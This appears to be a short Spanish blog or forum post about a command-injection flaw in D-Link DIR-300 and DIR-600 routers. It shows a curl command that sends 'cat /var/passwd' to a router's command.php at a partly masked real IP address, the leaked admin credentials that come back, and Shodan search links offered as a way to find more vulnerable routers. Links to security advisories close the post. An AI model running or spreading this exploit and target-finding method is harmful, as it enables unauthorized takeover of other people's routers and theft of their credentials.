routers D-Link DIR-300 y DIR-600

en los routers D-Link DIR-300 y DIR-600

22:34@coyote:~/Escritorio$ sudo curl --data "cmd=cat /var/passwd" http://188.11X.224.XX/command.php


"admin" "mortadela" "0"

como encontrar routers vuln????

http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-300
http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-600

fuentes:

http://www.h-online.com/security/news/item/Security-alert-for-D-Link-routers-1798804.html

http://threatpost.com/en_us/blogs/researcher-warns-d-link-router-vulnerabilities-020713

http://www.s3cur1ty.de/m1adv2013-003